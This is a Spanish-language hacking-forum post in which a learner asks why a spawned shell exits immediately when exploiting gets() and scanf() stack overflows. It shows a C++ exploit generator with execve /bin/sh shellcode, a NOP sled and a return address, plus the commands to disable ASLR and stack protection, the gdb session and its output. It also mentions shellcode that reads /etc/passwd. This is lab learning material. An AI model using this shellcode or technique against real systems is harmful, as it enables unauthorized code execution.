https://foro.elhacker.net/programacion_general/programacion_segura_buffer_overflows_by_strcpy-t95901.0.html
Hasta hace unos días solo entendía como explotar vulnereabilidades de la funcion strcpy(), y ahora estaba aprendiendo a vulnerar otras funciones, otros casos. Es todo muy similar. Para vulnerar el strcat() por ejemplo hay que tener en cuenta la primera parte del string que se concatena con la segunda parte. Si sabemos la dirección de memoria donde se almacena el string, tenemos que sumar el desplazamiento de la primera parte de la cadena digamos, para usar como dirección de retorno.
Por ejemplo, si tenemos éste código:
Código
char buffer[64]="AAAA";
Supongamos hipotéticamente que la dirección de memoria en la que se almacena buffer es 0x00000000. Entonces la dirección de retorno no puede ser 0x00000000, debería ser 0x00000004, ya que sumamos los 4 bytes de desplazamiento de las "A", porque en el código despues de concatenar vamos a tener "AAAAshellcode", y la shellcode empieza recién en 0x00000004.
Bueno, hasta aca todo genial, mi problema es cuando intento vulnerar casos usando gets() o scanf().
En primer lugar, cabe aclarar que todos los ejemplos los uso con ASLR desactivado:
echo 0 > /proc/sys/kernel/randomize_va_space
Les dejo un ejemplo de programa vulnerable:
Código
/* Ejemplo de bof */ /* gets() peligroso */ #include <stdio.h> int main() { char buffer[64]; }
(era la que estaba en el link que mandé)
Compilado de la siguiente forma:
gcc -fno-stack-protector -z execstack -o gets gets.c
Bueno, para explotarla, hice éste exploit: (la shellcode es para ejecutar /bin/dash)
Código
#include <iostream> #include <fstream> using namespace std; int main() { char ret[] = "\x40\xe3\xff\xff\xff\x7f"; //29 bytes shellcode char shellcode[] = "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"; //71 bytes nops - 29 shellcode = 43 nops char nops[] = "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90"; cout << "Creando exploit\n\n"; ofstream fichero; fichero.open("archivo.txt"); fichero << shellcode << nops << ret ; fichero.close(); cout << "ya esta!!!\n\n"; return 0; }
Lo compilo:
g++ -o exploit exploit.cpp
Lo ejecuto:
./exploit
Abro el programa vulnerable con gdb:
gdb gets
Lo corro enviándole el archivo generado por el exploit:
run < archivo.txt
Y obtengo ésta salida:
process 6070 is executing new program: /bin/dash
[Inferior 1 (process 6070) exited normally]
(gdb)
Es decir, RIP se sobreescribió, la shellcode se ejecutó correctamente pero ni bien se ejecuta se cierra digamos, no puedo hacer nada, en ningun momento puedo usar la consola. Probando fuera de gdb, no me da ninguna salida, supongo que pasa lo mismo, se ejecuta y se cierra inmediatamente de forma que no puedo tomar provecho con ésta shellcode... Despues probé con una shellcode para hacer: cat /etc/passwd, y se ejecuta perfectamente tanto dentro como fuera de gdb, se muestra por consola dicho archivo.... Intentando explotar la función scanf() tuvé exactamente el mismo problema que con gets()...
Ahora la pregunta mia es, como puedo hacer para ejecutar y poder usar una terminal sin que se cierre? Tal como lo hice cuando exploté strcpy(), strcat(), etc... Tal vez no haya que usar un archivo, sino mandar la shellcode cuando las funciones esperan que ingreses el string, pero como hago para meter una shellcode hexadecimal de esa forma?
Desde ya muchas gracias por ayudar! Saludos.